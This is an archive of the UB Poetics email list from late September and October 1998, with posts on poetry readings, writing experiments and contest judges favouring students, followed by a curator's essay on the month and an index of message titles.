To quote Lee Chapman (editor/publisher): "First Intensity operates independently of an college, university, or federal, state or other cultural/arts organization." Order direct from FI, POB 665, Lawrence, Ks 66044 ($8.00) or SPD, Berkeley.

Thanks, Jim McCrary

↑ Index

697. **Roger Farr**
Public Secrets
Wed 30 Sep 1998

For those interested in things situationist, this is worth a visit:

> *Announcing a new website for the BUREAU OF PUBLIC SECRETS:*
>
> *http://www.slip.net/~knabb*
>
> *The site features extensive selections from Ken Knabb's SITUATIONIST INTERNATIONAL ANTHOLOGY (translations from the notorious group that helped trigger the May 1968 revolt in France) and from PUBLIC SECRETS, the recent collection of Knabb's own writings, including "The Joy of Revolution," "How I Became an Anarchist," "How I Became a Situationist," and an assortment of comics, leaflets and articles on Wilhelm Reich, Kenneth Rexroth, Gary Snyder, the sixties counterculture, radical women, socially engaged Buddhism, urban "psychogeography," the Watts riot, the Iranian revolution, the Gulf war, and the recent jobless revolt in France. Many other texts, old and new, will be added in the coming months.*
>
> *Bureau of Public Secrets*

P.O. Box 1044
Berkeley, CA 94701

E-mail: [redacted]

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698. **Poproj**
zinc bar oct shed
Wed 30 Sep 1998

October at the Zinc Bar is looking like this:

Oct. 4 -- Jordan Davi$ & Lytle Shaw

Oct. 11 -- Lee Ann Brown & Shelly Marlowe

Oct. 18 -- Donna Cartelli & Michael Gottlieb

Oct. 25 -- Lisa Lubasch & Max Winter

Zinc Bar is at 90 W. Houston St., readings at 6:30, generally Sundays, $3 donation for readers suggested. One can call [redacted] for other kinds of details from Douglas Rothschild who maintains the current polarities along with Brendan "my lungfull is water-proof" Lorber.

About this sunday's reading:

Jordan Davis is the author of The Economist, Beowulf, Dismembering Derrida, The London Review of Books, Upstairs, Pome on a Train, & other volumes. He is a figment of the local & national consciousness, spackles, & represents the finer side of the human dilemma.

Lytle Shaw recently transplanted himself. He is an Idiom hero who places poetics squarely in the jaws of the beast. He fills speech balloons during the summer & does not regret the San Francisco. He will cause you to think about the nature of your engagement.

Anselm B.

↑ Index

699. **Laura E. Wright**
Re: Kyle's didactics / Rachel's energy
Wed 30 Sep 1998

Jordan Davis wrote:

> *Also, with all this talk about didacticism and Kyle's enjoyable stance Rachel's wild funny thoughtful reading seems to have been set aside -- do writers come out of schools? Rachel seems recognizably _of_ Naropa, in that she's much more interested in accumulating energy than in dispelling it with asides and remarks, but there's critical thought along with the joy -- is this all hooey I'm saying? maybe, anyway, looking forward to further readings and writings from Kyle and Rachel -- Jordan*

Still here at Naropa, I have to say that Rachel's work is very different from most of what goes on here. Rachel arrived at Naropa with her wild-funny-thoughtfulness and took it with her when she left. Would that there were a little more of it still around. But I'll take advice from her any day.

Re. this idea of schools, I think a good school would be one that didn't produce writers identifiable with that particular school. Otherwise, it's more like a machine.

Cranking out Naropa poetry,
Laura W.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
    * * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

700. **MAYHEW**
more writing experiments
Wed 30 Sep 1998

Jonathan Mayhew's Writing Experiments (with apologies to Bernadette Mayers)

1. Make a list of writing experiments.

2. Write a poem in which you include some reference, explicit or implicit, to everyone you know who has committed suicide.

3. Write poems designed for a particular magazine (a la Jack Spicer), even if this magazine doesn't publish poetry. Send the poems to the magazine as you write them until they either publish you are tell you to stop.

4. If you are an academic, give an academic paper composed entirely of heroic couplets. Don't tell anyone what you are doing.

5. "Ghost-write" poems for politicians or celebrities.

6. Write non-stop for 6 months, in every waking hour not devoted to any other necessary activity.

7. Compose a poem employing as many metaphors or example as possible derived from Wittgenstein's _Philosophical Investigations_.

8. Read only poetry written before 1800 for a year. See if your writing has changed.
If it has changed for the better do the same with 1700.

9. Take a book of poetry by someone else and compose poetic responses to every single poem. Try this with a poet you hate and then with a poet you love. Try writing your poems directly in the book, if you can stand to deface it.

10. Invent "heteronimos" a la Pessoa.

↑ Index

701. **Eliza McGrand**
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

---

i know list had a discussion on this about a year or so ago.

personally i think such behavior dishonest and offensive. if a teacher of mine were judging a contest, i simply would not submit. if i submitted before i knew they were judging, i might either write to disqualify myself, or perhaps contact teacher and tell them not to read my submission. if all that failed, and i won, i would not feel very good about it.

i know anthony hecht recommended james merril for award (nba) one year he was judging. and said (perhaps facetiously) in correspondence to e. bishop that he saw no point in reading other works since none could match up to merrill's work. i don't recall if that was a year that merrill won, but i believe it was. merrill was friend, rather than student. i still got the willies reading that letter.

but i am not convinced contests are the way to go either. i think ther is a level of quality in most things such that things can be as good, and nothing can be better, and few things can be as good. things can be as good but good in different ways. at a certain point, a contest seems a bit arbitrary. even, a bit like lotto.

do i enter them -- occasionally. have i ever won one -- no. do i think that is fair -- of course not! i should win every contest, everywhere, all the time! says one

part of me. another says "oh, you really are not very good as a writer -- you see, proof." can you see why i have an ambiguous relationship to contests! e

↑ Index

702. **MAYHEW**
Mayer not Mayers
Wed 30 Sep 1998

I meant Mayer not "Mayers." This is a lot of fun. Here are the next 10 experiments:

11. Compose a "Japanese Poetic Diary"

12. Write an autobiography, but including only events having to do with particular "subjects" (cooking, jazz, landlords, shoes).

13. Write the eleventh "Duino Elegy"

14. Write a book of poetry in which the letter B never appears. See if anyone notices.

15. Parody your own style.

16. Stage elaborate contests (sestina contests, memorizing contests, rhyming contests).

17. Invent multiple ways of "gambling" on poetry (e.g. on the contests devised above).

18. Create a "neo-classical" style that is as regular and normative as Racine. The vocabulary should be fairly limited, the syntax limpid, the versification utterly smooth. Use this style as your normal mode of communication as much as you can get away with.

19. Try to get non-poets to collaborate with you on grandiose poetic projects. Test your persuasive powers.

20. Convince famous painters to illustrate your work or paint your portrait, or composers to set your poems to music.

Jonathan

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703. **Fred Muratori**
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

Both this list and CAP-L discussed this subject at great length last year, but I think Graham was the only judge explicitly mentioned. I do remember a

controversy a few years ago involving Maxine Kumin -- she had apparently chosen a ms. by a personal friend in an "open" competition, a choice which she adamantly defended in a letter to _Poets & Writers_, I believe, on the grounds that to her it was plainly the best entry. In the early years of the National Poetry Series, four books were annointed outright by judges who solicited mss. from friends and students -- nothing hidden about this -- and only the fifth came out of a slush pile. Now supposedly all five are the results of "open" competition. I see nothing morally wrong with poets helping to advance their students and friends by making phone calls, writing supportive letters to publishers, etc. Frankly, that's probably how 90% of poetry books -- or any books -- get published. The crime comes where you have [redacted] folks naively sending in $25 checks on the assumption that their ms. will be read and evaluated blindly, without regard to who wrote it. I think that if any press or organization sponsoring an "open" contest in which the judge picks a personal friend or student gets caught (even if they weren't aware of the judge's dubious action at the time), they should publish the book at their own expense and refund the entry fees to the contestants. Otherwise it's a blatant violation of trust.

Just curious, Gabriel... are you planning to write an expose? I think it would be terrific if you did. What the hell -- it's the Age of Lewinsky.

-- Fred M.

> *I want to compile a list of contest judges who have awarded prizes to their students.*
>
> *It doesn't matter if the judges are mainstream poets or otherwise.*
>
> *Someone who's very good at rewarding his students for emulation is Charles Wright. He's chosen at least two of his former students for book prizes (one twice).*
>
> *Heather McHugh has. Jorie Graham has.*
>
> *In each case I would like to know the name of the student as well as the name of the judge, because, as I say, some teachers have done this many many times.*
>
> *Would anyone know of others besides Graham, McHugh, Wright?*
>
> *Instances from previous decades?*
>
> *Gabriel Gudding*

****

Fred Muratori

([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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704. **Gabriel Gudding**
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

---

1). Thank you for your response, Eliza

2). Yes, expanding the list to friends might be useful. So,

3). Has anyone knowledge of judges choosing _friends_ as well as students?

4). Yupola: Nepotism and the arbitrary certainly are the name of the game. But since it's difficult to gauge the former, I'd like to grock the latter.

4.5). Am cynical about none of this: it's just sort of interesting in a boring kind of way.

5). I'm not being reform-minded, and my interest in this certainly isn't original, but I'd simply someday like to see a history -- or at least a list -- of who chose whom for many of these thingies.

6). Of our subscribers, for instance, how many have chosen their own students or friends? Of our subscribers, how many have been chosen by friends or teachers?

7). Not interested in editorial choices for magazine publication: that's a different matter and is small potatoes, and happens too often to be considered scandalous. But book publication is a little more interesting, isn't it.

8). I sometimes dress-up like Else von Freytag-Loringhoven.

On Wed, 30 Sep 1998, Eliza McGrand wrote:

> *i know list had a discussion on this about a year or so ago.*
>
> *personally i think such behavior dishonest and offensive. if a teacher of mine were judging a contest, i simply would not submit. if i submitted before i knew they were judging, i might either write to disqualify myself, or perhaps contact teacher and tell them not to read my submission. if all that failed, and i won, i would not feel very good about it.*

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> *do i enter them -- occasionally. have i ever won one -- no. do i think that is fair -- of course not! i should win every contest, everywhere, all the time! says one part of me. another says "oh, you really are not very good as a writer -- you see, proof." can you see why i have an ambiguous relationship to contests!*
> *e*

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705. **Gabriel Gudding**

Re: Teachers Awarding Students Prizes

Wed 30 Sep 1998

Thank you, Fred. Though it's as you say the age of Lewinsky I don't imagine I'll write an expose.

But I wouldn't mind however if any history I might come to write about this problem eventually won me an internship in the White House.

I'll dip into the archive here if I can recall how to do that and read about Graham and the others. Thanks. Gabe

On Wed, 30 Sep 1998, Fred Muratori wrote:

> *Both this list and CAP-L discussed this subject at great length last year, but I think Graham was the only judge explicitly mentioned. I do remember a controversy a few years ago involving Maxine Kumin -- she had apparently chosen a ms. by a personal friend in an "open" competition, a choice which she adamantly defended in a letter to _Poets & Writers_, I believe, on the grounds that to her it was plainly the best entry. In the early years of the National Poetry Series, four books were annointed outright by judges who solicited mss. from friends and students -- nothing hidden about this -- and only the fifth came out of a slush pile. Now supposedly all five are the results of "open" competition. I see nothing morally wrong with poets helping to advance their students and friends by making phone calls, writing supportive letters to publishers, etc. Frankly, that's probably how*

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Would anyone know of others besides Graham, McHugh, Wright?

Instances from previous decades?

Gabriel Gudding

****

Fred Muratori
([redacted])
Reference Services Division
*Olin * Kroch * Uris Libraries*
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

> **********

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706. **henry gould**
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

Here's a brief rundown on the backscratch history:

1. Homer chose Virgil in an Epic contest even though he was his ephebe.

2. Walt Whitman was named "Poet of the year" in New Jersey by Edgar Allan Poe who was serving as manager of the Hoboken Blues ball team that year. Walt had been manager the previous year. That tells you something.

3. Emily Dickinson saw her future 20th-century publication history in a dream in July, 1863 (the battle of Gettysburg was going on at the same time). She mentioned it to her brother but never publicly acknowledged having a "spin strategy" for canonization.

4. Galway Kinnell awarded himself an award in a contest while wearing a "Galway Kinnell" t-shirt while visiting Ireland in the summer of 1987.

5. Henry Gould tried to find a friend to award the 1st Annual Nedge Nudge-to-Fame Contest but was unable to come up with one.

I could go on endlessly - shows you the extent of something!

- Jack Spandrift

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707. **David Zauhar**
Re: more writing experiments
Wed 30 Sep 1998

On Wed, 30 Sep 1998, MAYHEW wrote:

> *Jonathan Mayhew's Writing Experiments (with apologies to Bernadette Mayer)*
>
> *3. Write poems designed for a particular magazine (a la Jack Spicer), even if this magazine doesn't publish poetry. Send the poems to the magazine as you write them until they either publish you are tell you to stop.*

Forthcoming...
10 Haiku for Commentary

"The Penis Sestina" for Men's Health

"Ballad of the Litterbox Odor" for Cat Fancier

6 poems for the Sporting News, revisited

"Epistolary Ode on the Dialectics of Obfuscation" for Poetry (Chicago)

"Refusal to Mourn the Death, By Starvation, of a Supermodel" for People

"Refusal to Mourn the Death, By Starvation, of a Supermodel" for Mickey Spillane's Mystery Magazine

Dave Zauhar

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708. **MJ Devaney**
Re: Arts and Letters Daily Website
Wed 30 Sep 1998

A new Internet source for news, thought, and opinion: ARTS & LETTERS DAILY
This new website has been created for those are interested in the arts, ideas, and the humanities: http://www.cybereditions.com/aldaily

--MJ Devaney
[redacted]

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709. **Brian Lennon**
Xenia 2: Call for submissions
Wed 30 Sep 1998

Call for submissions

Xenia: A Review of Digital Literature and Art announces a call for submissions for issue no. 2, "Digital Poetics."

The use of electronic networks to create and distribute electronic writing and textual art has already prompted formulations of a digital poetics, which incorporates elements of various print-based formulations of the twentieth century. With the World Wide Web becoming an increasingly less textual and more visual medium---"post-hypertextual" in the sense that hypertextuality now describes a reading environment that may or may not actually include "text"---the way lies open to a digital poetics that will also draw on various traditions of visual-textual art, from the experimental typography of early 20th-century avant-gardes, to later Concrete and other visual poetry "movements," to current experimentation with HTML-Java "kinetic" and VRML "virtual" poetry.

Essays, reviews, electronic text/art works, and all uncategorizable combinations are welcome. Please submit by e-mail or by directing us to your personal Web address. Submissions deadline: December 15.

[redacted]
http://www.xeniareview.com

Brian Lennon [redacted]

xenia: a review of digital literature and art
http://www.xeniareview.com

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710. Eliza McGrand
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

---

i would like to mention that jack spandrift in fact DID nominate henry gould for nedge's nudge-to-fame contest, but henry said he would not be a member of any club that would admit him, or something like that, and refused the prize.

there was a motion to award the award to george bowering instead, but spandrift said if henry wouldn't take it, he should get it himself. it got ugly, and last i heard, nedge was discontinuing contest.

e

↑ Index

711. Kathy Lou Schultz
Re: Kyle's didactics / Rachel's energy
Wed 30 Sep 1998

What about all the poets who actually went to San Francisco State--though you'd never know it? During the reign of Frances Mayes (oops! did I say that in public?) the department did its best to hide its most interesting alumni. That's changing, however. Some hints: Robert Gluck, Mary Margaret Sloan

Kathy Lou Schultz

Laura E. Wright wrote:
>
> Jordan Davis wrote:
>
> > Also, with all this talk about didacticism and Kyle's enjoyable stance
> > Rachel's wild funny thoughtful reading seems to have been set aside -- do
> > writers come out of schools? Rachel seems recognizably _of_ Naropa, in

that
> > she's much more interested in accumulating energy than in dispelling it with
> > asides and remarks, but there's critical thought along with the joy -- is
> > this all hooey I'm saying? maybe, anyway, looking forward to further
> > readings and writings from Kyle and Rachel -- Jordan
>
> Still here at Naropa, I have to say that Rachel's work is very different from
> most of what goes on here. Rachel arrived at Naropa with her
> wild-funny-thoughtfulness and took it with her when she left. Would that there
> were a little more of it still around. But I'll take advice from her any day.
>
> Re. this idea of schools, I think a good school would be one that didn't produce
> writers identifiable with that particular school. Otherwise, it's more like a
> machine.
>
> Cranking out Naropa poetry,
> Laura W.
>
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "All music is music..." -- Ted Berrigan
> * * * * * *
> "It is very much like it" -- Gertrude Stein

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712. Todd Baron /*/ ReMap

Re: teaching poetry

Thu 1 Oct 1998

Jacques Debrot wrote:
>
> On very short notice I've been recruited to teach 3 sections of Helen
> Vendler's version of an Intro to Poetry course. My question is this: how do

> I let students know about all of the poetries that fall outside of Vendler's
> syllabus without alienating or appearing to propagandize :

Art is propaganda--anyways--

but a more practical approach would be to start by asking the students to "define" what a poem is or might be--

that would lead you into the realm they exist in and see where you can make additions. Teach a text such as "Poetics of New American Poetry" --tho a dated text--worked wonderfully with my senior level art students one year. Ashbury, Olson, (KINGFISHERS!) etc. The idea is that since you are teaching--it IS proganda--and give yrself the evirons to know that!

Todd Baron
(ReMap)

ps: The Objectivists and critical work on them would NOT be out of the realm and would NOT offend Ms Vendler--either.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

October 1998

961 messages · Wed 30 Sep 1998 – Sat 31 Oct 1998

October 1998 offered the room much to grieve and argue, and it declined almost all of it. Matthew Shepard was beaten to death in Wyoming and the list never opened a thread; the impeachment of a president drew a shrug; John Glenn went back into orbit unremarked; José Saramago won the Nobel and earned a single subordinate clause — someone had not read him. The one event the room truly took up was a federal appeals ruling on whether teaching Huckleberry Finn could be actionable — the news admitted, as ever, only once it had become a question about a book. The room's whole attention that month was fixed, with something close to obsession, on the word itself: its accuracy, its custody, its care.

It is hard to overstate how much of October the list spent guarding the printed word. One thread, running to thirty-five messages, began with a small-magazine editor's despair that a third of his publications carried typos, and swelled into a collective grievance over mis-set titles, botched errata, and the general mishandling of other people's language; another argued line breaks and word breaks as though the fate of the art hung on a hyphen; a third, taking care with the language, policed the pronoun. Even the play was philological: in a thread spelled l=i=m=e=r=i=c=k the room composed language-centered limericks, Mark Weiss recommending the salacious ones and pronouncing that *"Limerick is no Cologne."* A machine for keeping words right, running at full tilt.

The month's hardest quarrel set that care against conscience. Teaching Pound and Twain, the room asked what a teacher owes the antisemite or the racist on the syllabus, and whether to assign a book is to endorse it. Jonathan Mayhew pressed the anti-pious line — the notion that teaching a work condones it he thought self-evidently ridiculous — and yet the chill of the age had reached even him: the prospect of being sued, he wrote, *"for teaching The Cantos makes me shudder."* Aldon Nielsen and Maria Damon held the other ground, Nielsen anchoring the abstraction to a real appeals-court fight over Morrison and Angelou in the schools. Custody of the word, it turned out, was not the same as absolution for it.

Lest all this sound too grave, the room deflated itself in equal measure. A long thread on judging and grants worried whether money helps a poet at all, until Anselm Berrigan punctured it from the Poetry Project: *"I don't exactly see a connection between accumulation of money"* and better writing. Gabriel Gudding

conducted a mock-feud with Kent Johnson, signing off that he really did hate him, warmly; David Kellogg reported, deadpan, the trick of sharing an MLA badge to crash the convention. The same list that guarded every hyphen could not take its own institutions seriously for a paragraph together.

And what the room could not translate, it could not always confirm. Its ledger of the dead admitted only poets — it had opened the month mourning a relief pitcher, Dan Quisenberry, on the sole ground that he wrote poems — and in its last weeks it lost three of the real ones: Pierre Martory, Ashbery's translator; Dick Higgins of Fluxus, for whom miekal and built a mesostic; and, on the twenty-eighth, the Poet Laureate Ted Hughes, whose death drew from the room a single elegy — Jim Andrews, recalling a reading in Victoria: *"He was transfixing."* Sharpest was the loss the list alone had marked: Martory's death, which Diane Wald wrote in to say she was *"unable to find ANYTHING about"* anywhere else. I have set the month's fury over errata beside that unverifiable death exactly as October left them: a machine for keeping words right, unable to be sure one of its own had died.

— Kristen M. Fabians

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440. MAYHEW — Re: "Our" Laura (Riding) Jackson
441. Elizabeth Treadwell — Laura (Riding) Jackson
442. tracy s. ruggles — Re: Bernstein & the Avant-Bored
443. KENT JOHNSON — Re: non-discrimination
444. Hannah J Sassaman — CrossConnect Magazine
445. Don Cheney — Re: Berenstein & the Avant-Bored Bears
446. Mark Prejsnar — "My" Laura Riding
447. Harriet Zinnes — Re: CrossConnect Magazine
448. Anastasios Kozaitis — space between words
449. Mark Weiss — Re: space between words
450. Gabriel Gudding — Re: Bernstein & the Avant-Bored
451. Hannah J Sassaman — Re: CrossConnect Magazine
452. MAYHEW — Re: space between words
453. Thomas A. Vogler — (no subject)
454. james perez — Re: space between words
455. Lisa Samuels — Re: "My" Laura Riding
456. Rachel Loden — Re: a lost Rilke translation
457. Todd Baron /*/ ReMap — Re: OUTLAW POETRY
458. Mark Weiss — Re: a lost Rilke translation

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459. Sean Casey — Impossible Object
460. dbuuck — new book by jocelyn saidenberg
461. louis stroffolino — Re: "My" Laura Riding
462. Eliza McGrand — theoretical/practical thoughts -- origin of the cliche
463. louis stroffolino — FAREWELL TOUR
464. Robert Corbett — Re: try these experiments
465. Douglas Oliver — Re: neutral tune
466. Stephen Cope — Re: Spicer from last night
467. George Bowering — Re: Berenstein & the Avant-Bored Bears
468. George Bowering — Re: space between words
469. henry gould — Re: neutral tune
470. henry g — Re: try these experiments
471. Pierre Joris — Re: "My" Laura Riding

472. Pierre Joris — [Fwd: FW: [RRE]copyright law]
473. Charles Alexander — Tony Lopez reading in Maryland
474. MAYHEW — Re: theoretical/practical thoughts -- origin of the cliche
475. Michael Magee — Lee Ann Brown
476. Joe Amato/Kass Fleisher — in the mood...
477. Don Cheney — Re: Berenstein & the Avant-Bored Bears
478. Mark Weiss — Re: space between words
479. Pierre Joris — soyinka's return
480. schuchat — the eternal return
481. daniel bouchard — WCW in Internet Age
482. Edward Fristrom — Re: theoretical/practical thoughts -- origin of the cliche
483. dbkk — Ethics in Writing
484. dbkk — Lopez, Selby at SPT
485. MAXINE CHERNOFF — Barbara Guest Reading
486. Eliza McGrand — Re: Ethics in Writing
487. Anthony Lawrence — Re: try these experiments
488. Anthony Lawrence — Bukowski
489. michael corbin — Re: Ethics in Writing
490. P.Standard Schaefer — Good Reads
491. Louis Cabri — My aurora is idling
492. Laura E. Wright — Re: Original Good Reads
493. Wystan Curnow — Re: in the mood...
494. Karen Kelley — Re: "My" Laura Riding
495. Karen Kelley — Re: "My" Laura Riding
496. louis stroffolino — troika.....
497. louis stroffolino — Re: Laura Riding
498. Matt Kirschenbaum — Blake Archive's October Update
499. Jacques Debrot — Re: OUTLAW POETRY

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500. Todd Baron /*/ ReMap — Re: OUTLAW POETRY
501. Stephen Cope — Re: Bows/Bios, Arrows/Eros
502. Fred Muratori — Nobody's Laura (Riding) Jackson
503. Dale Smith — Re: OUTLAW POETRY
504. Fredrik Hertzberg LIT — CFP: "A World of Local Voices", Saarbruecken, Oct 22-23 1999 (fwd)
505. Pattie McCarthy — Fwd: Philadelphia Poetry Reading Announcement
506. Gwyn McVay — Re: Bows/Bios, Arrows/Eros
507. Gary Sullivan — "Centipedes, Gorillas & Burns, bay-bay, Burns" is not a cliche. Sadly, it's...
508. Douglas Oliver — Re: neutral tunes
509. henry g — Re: neutral tunes
510. Poetics List — Doombook (fwd)
511. raea100900 — address request
512. Thomas Bell — D=E=R=A=N=G=E=M=E=N=T
513. Susan Schultz — Re: address request
514. Aldon Nielsen — Re: Nobody's Laura (Riding) Jackson
515. Thomas Bell — Re: in the mood...
516. David Zauhar — Dan Quisenberry's poetry
517. Simon DeDeo — Aubade, found
518. Hannah J Sassaman — My Poem About Hair
519. Joe Amato/Kass Fleisher — Re: in the mood...
520. Peter Balestrieri — Christopher Alexander's Email Address
521. P.Standard Schaefer — Seeing Eye
522. Pritchett,Patrick — Re: WCW quote
523. Linda Russo — Alexander email, Christopher

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524. r. drake — Re: WCW quote
525. Douglas Oliver — Re: neutral tunes
526. david bromige — fraser/bromige sf reading//fractals of a devoted disorderer
527. A. Jenn Sondheim — Confessions
528. Gabriel Gudding — Plath-Hughes Legacy
529. Franklin Bruno — burns (and other things)

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530. Bob Grumman — Re: burns (and other things)
531. miekal and — fwd from nettime announcer
532. schuchat — Lehman & the last avant garde
533. Susan Wheeler — Re: Tony Lopez reading in Maryland
534. David Baratier — Re: Laura (Riding) Jackson
535. David Baratier — bloody twin press
536. David Baratier — Detail from Wallet
537. Bob Grumman — Re: Lehman & the last avant garde
538. Todd Baron /*/ ReMap — whitman got fired too
539. Hilton Manfred Obenzinger — Re: whitman got fired too
540. David Baratier — Tom Bridwell

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541. Todd Baron /*/ ReMap — Re: whitman got fired too
542. David Kellogg — Re: Plath-Hughes Legacy
543. David Baratier — Bloody Twin Press
544. ken|n|ing — coolidge/hejinian/rova/soule
545. Christopher Reiner — Paris Reading
546. Elizabeth Treadwell — LAURA's WORD "WOMAN" -- & hey, does it correspond.
547. Elizabeth Treadwell — and a MAJOR faux pas
548. Pierre Joris — Re: Paris Reading
549. David Baratier — PNY / MEB
550. Alaric Sumner — I wish I was in Northern California in OTHERMINDS (concert info FWD)
551. Jerry McGuire — Deep South Contest Winners
552. louis stroffolino — Re: Lehman & the last avant garde
553. P.Standard Schaefer — historical ?s
554. Poetry Project — marquis de sade
555. Safdie Joseph — Re: Good News
556. George Bowering — Re: Paris Reading
557. Pierre Joris — Re: Good News
558. Pierre Joris — some bad news
559. Anthony Lawrence — Robert Archambeau
560. Pierre Joris — Albany Reading
561. Ron Silliman — RON SILLIMAN CALIFORNIA TOUR

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562. Jason Nelson — (no subject)
563. Jason Nelson — Engineering and Poetry
564. Robert Archambeau — Re: Robert Archambeau
565. George Bowering — Re: A petition to censure and move on
566. Lawrence Upton. — Re: Good News
567. Mark Salerno — Cuba
568. Mark Prejsnar — Re: whitman got fired too
569. Mark Prejsnar — doin' the goosestep rag
570. Michael Franco — WORD OF MOUTH/ BOSTON READING
571. Herb Levy — Re: Adorno & Jazz
572. R.Gancie/C.Parcelli — Re: Good News
573. ken|n|ing — Re: PNY / MEB
574. Safdie Joseph — Good News, Bad News

575. Aldon Nielsen — there's a question at the end of this
576. Gary Sullivan — Journal of Artists' Books 10 (d.a. levy issue)
577. shana — Re: there's a question at the end of this
578. Gary Sullivan — MY SUPPLY OF LEVY JAB NOW GONE!
579. Aldon Nielsen — Re: there's a question at the end of this
580. Billy Little — Re: historical ?s
581. Thomas A. Vogler — Silliman Reading
582. Dale Smith — Re: Younger Poets Issue 10
583. Edward Fristrom — Re: there's a question at the end of this
584. Dale Smith — Re: Younger Poets Issue 10
585. MAYHEW — racism & antisemitism
586. Mark Weiss — Re: racism & antisemitism
587. MAYHEW — Re: racism & antisemitism
588. Hilton Manfred Obenzinger — Re: racism & antisemitism
589. Karen Kelley — Re: there's a question at the end of this
590. Elizabeth Treadwell — Tan Lin
591. charles alexander — Re: racism & antisemitism

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592. Mark Weiss — Re: racism & antisemitism
593. Stephen Cope — Re: Adorno & Jazz
594. J. Kuszai — new from meow press
595. J. Kuszai — sandy ego reading
596. Joe Amato/Kass Fleisher — Re: racism & antisemitism
597. Judy Roitman — SD
598. jesse glass — Re: racism & antisemitism
599. Magdalena Zurawski — Monday Night Poetry Reading
600. Pritchett,Patrick — Re: new from meow press
601. Maria Damon — Re: racism & antisemitism
602. Dean Taciuch — Re: racism & antisemitism
603. David Zauhar — Samizdat
604. Michael Magee — Re: Adorno & Jazz
605. Poetry Project — Re: there's a question at the end of this
606. Aldon Nielsen — Re: Adorno & Jazz
607. Pierre Joris — Re: Adorno & Jazz
608. Aldon Nielsen — Re: racism & antisemitism
609. MAYHEW — my jazz pantheon
610. Dale Smith — Re: there's a question at the end of this
611. MAYHEW — Re: there's a question at the end of this
612. Pritchett,Patrick — Re: Fwd: BE CAREFUL WHAT YOU DO ON THE PHONE (fwd)
613. Christina Fairbank Chirot — Re: racism & antisemitism
614. Laura E. Wright — Re: there's another question at the end of this
615. Christina Fairbank Chirot — Fwd: BE CAREFUL WHAT YOU DO ON THE PHONE (fwd)
616. Aldon Nielsen — the law of diminishing returns
617. dbuuck — announcing tripwire 2
618. Robert Corbett — Re: there's a question at the end of this
619. Peter Balestrieri — Quote Source
620. Joe Amato/Kass Fleisher — Re: racism & antisemitism
621. Tom Beard — Re: there's a question at the end of this
622. Gabriel Gudding — Spicer Query
623. J. Kuszai — Re: New York 1966
624. Sean Casey — Bill Knott & Robert Peters
625. eurydice — Big Allis 8 Redux
626. Rachel Loden — New York 1966
627. Todd Baron /*/ ReMap — Re: SD
628. Todd Baron /*/ ReMap — Re: sandy ego reading

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629. Lawrence Upton. — Jim Leftwich
630. Lawrence Upton. — Anselm Hollo publication
631. MAYHEW — Re: Spicer Query
632. MAYHEW — Re: coupla q's
633. Burt Kimmelman — Re: New York 1966
634. Maria Damon — coupla q's
635. Pritchett,Patrick — Re: coupla q's
636. KENT JOHNSON — Spicer's Lorca
637. david bromige — the new sentence
638. dbkk — Alice Notley in SF TONIGHT!
639. dbkk — MacCormack & Silliman in SF
640. Ron Silliman — Pinochet & poetry
641. schuchat — Re: coupla q's
642. David Baratier — Re: errata & small magazines
643. Ron Silliman — Re: coupla q's
644. P.Standard Schaefer — Re: Pinochet & poetry
645. main — errata & small magazines
646. Michael Magee — Re: errata & small magazines
647. P.Standard Schaefer — Re: errata & small magazines
648. henry gould — typos
649. Christopher Reiner — Re: errata & small magazines
650. Aldon Nielsen — Re: there's a question at the end of this
651. Mark Weiss — Re: typos
652. Aldon Nielsen — Carrying Cole to Colorado
653. Aldon Nielsen — the neo-new sentence
654. L. MacMahon and T.R. Healy — Re: errata & small magazines
655. groberts — Another Herbsttag
656. Laura E. Wright — hypo type
657. Charles Alexander — Re: Typos abound, especially on Fridays
658. Lawrence Upton. — WF publications
659. A. Jenn Sondheim — GAAA GAAA GAAA (stupid thing)
660. Todd Baron /*/ ReMap — typo hype
661. Thomas Bell — Re: coupla q's/sentence
662. ken|n|ing — Re: errata & small magazines
663. ken|n|ing — Re: errata & small magazines

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664. Todd Baron /*/ ReMap — Re: hypo type
665. Ralph Wessman — Re: errata & small magazines
666. Leonard Brink — Re: errata & small magazines
667. Mark Weiss — Re: Re : errata & small magazines
668. david bromige — Re : errata & small magazines
669. henry gould — errrrrr... ata?
670. Robert Archambeau — Samizdat
671. Robert Archambeau — address inquiry
672. David Baratier — Re: errata & small magazines
673. Dale Smith — there's a typo at the end of this
674. dbkk — Spicer's Lorca
675. Karen and Trevor — cheap but good printers
676. Gary Sullivan — Re : errata & small magazines
677. Michel Delville — POSTWAR AMERICAN POETRY / University of Liège , Belgium
678. Aldon Nielsen — Re: Spicer's Lorca
679. John Latta — Re: cheap but good printers
680. sylvester pollet — Re: cheap but good printers
681. r. drake — Re: cheap but good printers

682. P.Standard Schaefer — Re: cheap but good printers
683. Dale Smith — Re: coupla q's
684. LIsa Birman — BOMBAY GIN - call for submissions
685. henry gould — Re: coupla q's
686. megan minka lola camille roy — Laura Moriarty and Aaron Shurin Reading in SF
687. acgold01 — Spicer's "translations," and Chris Stroff.
688. Lisa Trank — Typos abound, especially on Fridays
689. Safdie Joseph — Re: coupla q's
690. tracy s. ruggles — Re: Typos abound, especially on Fridays
691. KENT JOHNSON — The House that Jack Built
692. Aviva Vogel — Re: The House that Jack Built
693. ken|n|ing — Re: errata & small magazines
694. W. Freind — Yasusada/Weinberger
695. Kathy Lou Schultz — Re: errata & small magazines
696. David Baratier — Re: errata & small magazines
697. Karen Kelley — Re: errata & small magazines

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698. A. Jenn Sondheim — poetics theory
699. david bromige — re : errata & small magazines
700. dbkk — Spicer, Foster, Notley, Mac Adams
701. Matt Kirschenbaum — beats in Charlottesville
702. Susan Wheeler — Tony Lopez Reading in New York City
